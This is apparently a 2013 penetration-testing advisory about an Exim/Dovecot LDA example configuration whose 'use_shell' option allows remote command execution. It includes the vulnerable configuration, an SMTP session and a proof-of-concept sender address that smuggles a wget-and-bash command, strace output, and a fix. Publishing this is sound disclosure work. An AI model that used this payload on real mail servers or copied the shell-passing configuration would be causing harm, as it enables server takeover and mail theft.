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Exim with Dovecot: Typical Misconfiguration Leads to Remote Command Execution

During a penetration test a typical misconfiguration was found in the way Dovecot is used as a local delivery agent by Exim. A common use case for the Dovecot IMAP and POP3 server is the use of Dovecot as a local delivery agent for Exim. The Dovecot documentation contains an example using a dangerous configuration option for Exim, which leads to a remote command execution vulnerability in Exim.

Details

Product: Exim with Dovecot LDA and Common Example Documentation
Affected Versions: Example Configuration in Dovecot Wiki since 2009-10-23
Vulnerability Type: Remote Code Execution
Security Risk: HIGH
Vendor URL: http://www.exim.org http://www.dovecot.org
Vendor Status: notified
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2013-001
Advisory Status: public

Introduction

Dovecot is an open source IMAP and POP3 server. Dovecot is used both for small and large installations because of its good performance and simple administration. Exim is a message transfer agent developed at the University of Cambridge, freely available under the terms of the GNU General Public Licence. Both services are commonly used in tandem with each other. Dovecot is often configured in Exim to handle mail delivery to mailboxes.

The Dovecot wiki contains an example configuration for Exim to have Dovecot handle mail delivery in conjunction with LDAP. Using Dovecot as a local delivery agent (LDA) for Exim is a common use case for an Exim/Dovecot server. The Dovecot wiki, which is also packaged as documentation with the Dovecot source packages and many Linux distribution packages, contains example configurations for Exim. One configuration contains a dangerous option, which leads to a remote command execution vulnerability in Exim. Since this configuration concerns a very common use case of Dovecot with Exim and is widely repackaged in distribution packages, users of Dovecot and Exim should check their current configuration of Exim.

More Details

Dovecot and Exim can be used together without any further configuration of the Exim mail delivery process. This will result in a configuration, where Dovecot can access mails delivered to a mailbox of a user, but message filtering through the Dovecot server-side filters is not possible.

In order for server-side mail filtering by the Sieve implementation of Dovecot to work, Dovecot provides its own local delivery agent (LDA). This agent must be added to the Exim delivery configuration as a mail transport. To make such a configuration work, Exim offers the possibility to use pipe transports (http://www.exim.org/exim-html-current/doc/html/spec_html/ch-the_pipe_transport.html). The Exim daemon then hands the email messages over to an external program, in this case the Dovecot LDA (on Debian GNU/Linux found at /usr/lib/dovecot/deliver).

The Dovecot-Wiki (http://wiki.dovecot.org/LDA/Exim) and documentation propose, among others, a configuration for using Exim with the Dovecot LDA and multiple UIDs which are loaded from an external source, for example LDAP. It is assumed that this configuration is often used as a template when configuring new email servers, as coupling SMTP and POP3/IMAP servers with an external user database like LDAP is common. Furthermore, this example configuration is rather detailed. Therefore, it is estimated that many administrators based their configuration on this one.

The example transport configuration from the Dovecot wiki is shown below:

dovecot_deliver:
    debug_print = "T: Dovecot_deliver for $local_part@$domain"
    driver = pipe
    # Uncomment the following line and comment the one after it if you
    # want deliver to try to deliver subaddresses into INBOX.{subaddress}.
    # If you do this, uncomment the local_part_suffix* lines in the router
    # as well. Make sure you also change the separator to suit your local
    # setup.
    #command = /usr/lib/dovecot/deliver -e -k -s \
    #   -m "INBOX|${substr_1:$local_part_suffix}" \
    command = /usr/lib/dovecot/deliver -e -k -s \
        -f "$sender_address" -a "$original_local_part@$original_domain"
    use_shell
    environment = USER=$local_part@$domain
    umask = 002
    message_prefix =
    message_suffix =
    delivery_date_add
    envelope_to_add
    return_path_add
    log_output
    log_defer_output
    return_fail_output
    freeze_exec_fail
    #temp_errors = *
    temp_errors = 64 : 69 : 70 : 71 : 72 : 73 : 74 : 75 : 78

With the “use_shell” option, Exim is instructed not to start the program directly, but rather expand all Exim variables and pass this string to a shell afterwards, which then starts the LDA. The content of the variable $sender_address can in most standard setups be controlled by an attacker, its value is inserted verbatim into the string which is supplied to the shell. This enables attackers to execute arbitrary shell commands in the name of the Exim system user.

The following conversation with the mail server demonstrates downloading and executing a shell script. Since spaces are not accepted within a sender email address, ${IFS} can be used instead.

220 host ESMTP Exim 4.72 Mon, 22 Apr 2013 13:22:23 +0200
EHLO example.com
250-host Hello localhost [127.0.0.1]
250-SIZE 52428800
250-PIPELINING
250 HELP
MAIL FROM: red`wget${IFS}-O${IFS}/tmp/p${IFS}example.com/test.sh``bash${IFS}/tmp/p`team@example.com
250 OK
RCPT TO: someuser@example.com
250 Accepted
DATA
354 Enter message, ending with "." on a line by itself
Subject: test

.
250 OK id=1UUEqF-0004P8-2B

Attaching and following the Exim process with strace during this example conversation results in the following strace output:

# strace -p $(pgrep Exim4) -s100 -f -q -e execve
[pid 16962] execve("/usr/sbin/Exim4", ["/usr/sbin/Exim4", "-Mc",
            "1UUEwf-0004PZ-9n"], [/* 26 vars */]) = 0
[pid 16964] execve("/bin/sh", ["/bin/sh", "-c",
            "/usr/lib/Dovecot/deliver -e -k -s -f 
            \"red`wget${IFS}-O${IFS}/tmp/p${IFS}example.com/test.sh``bash${I"...],
            [/* 14 vars */]) = 0
[pid 16966] execve("/usr/bin/wget", ["wget", "-O", "/tmp/p",
            "example.com/test.sh"], [/* 14 vars */]) = 0
[pid 16964] --- SIGCHLD (Child exited) @ 0 (0) ---
[pid 16967] execve("/bin/bash", ["bash", "/tmp/p"], [/* 14 vars */]) = 0
[pid 16964] --- SIGCHLD (Child exited) @ 0 (0) ---
[pid 16968] execve("/usr/lib/Dovecot/deliver", ["/usr/lib/Dovecot/deliver",
            "-e", "-k", "-s", "-f", "redteam@example.com", "-a",
            "someuser@example.com"], [/* 14 vars */]) = 0

This shows that remote command execution is possible in this configuration.

In order to reproduce this vulnerability it is sufficient to install Exim and Dovecot, then configure the Dovecot LDA as a pipe transport in Exim as described by the Dovecot wiki.

This example configuration was added to the Dovecot wiki in 2009 and is likely to be used in numerous Exim/Dovecot installations (http://wiki.dovecot.org/LDA/Exim?action=diff&rev2=12&rev1=11). The Dovecot wiki is also contained within the Dovecot source files. The dangerous configuration suggesting the “use_shell” option mentioned in the file doc/wiki/LDA.Exim.txt.

An example for the widespread use of this configuration example is the Debian package “dovecot-common” where this example configuration is found in the file /usr/share/doc/dovecot-common/wiki/LDA.Exim.txt.gz (http://packages.debian.org/search?keywords=dovecot-common).

While the redistribution in Debian was verified, it is very likely that other distributions also contain this vulnerable configuration example.

Proof of Concept

Sender address which tricks the mail server to download and execute a shell script on delivery:

red`wget${IFS}-O${IFS}/tmp/p${IFS}example.com/test.sh``bash${IFS}/tmp/p`team@example.com

Workaround

Users who use Exim in tandem with Dovecot LDA should check their Exim transport configuration for the “use_shell” option. In the configuration example the “use_shell” option is not necessary and should be removed. In this case the mail server directly starts the LDA without a shell, as the following output of strace during a delivery shows:

[pid 17485] execve("/usr/sbin/exim4", ["/usr/sbin/exim4", "-Mc",
            "1UUFGk-0004Y0-Rb"], [/* 14 vars */]) = 0
[pid 17487] execve("/usr/lib/dovecot/deliver", ["/usr/lib/dovecot/deliver",
            "-e", "-k", "-s", "-f",
            "red`wget${IFS}-O${IFS}/tmp/p${IFS}example.com/test.sh``bash${IFS}/tmp/p`team@example.com",
            "-a", "someuser@example.com"], [/* 14 vars */]) = 0

As shown the sender address string is directly passed to the LDA, and not expanded by a shell.

Fix

Administrators should check their configuration as described under “Workaround”.

The dangerous option “use_shell” should be removed from the Dovecot wiki and all the source packages. Also, all distribution packages of Dovecot that contain this example configuration should be changed to prevent users from introducing a remote command execution vulnerability in their Exim/Dovecot installation.

Security Risk

The documentation on a configuration example for a common use case of Dovecot as a local delivery agent for the Exim mail server contains a configuration option which leads to a remote command execution. Attackers can execute arbitrary shell commands as the user the Exim mail server runs as. It is estimated that many administrators based their Exim configuration on this example. The resulting vulnerability may be used to establish a foothold on a mail server, read users’ mails or expand access rights via a local exploit. Since this configuration example is redistributed with Dovecot packages and describes a common use case for Dovecot and Exim, this configuration is considered to be a high risk.

History

2013-03-05 Vulnerability identified
2013-05-02 Vendor notified
2013-05-02 Vendor confirmed the vulnerability
2013-05-02 Vendor removed the offending line from the Dovecot wiki
2013-05-03 Advisory released

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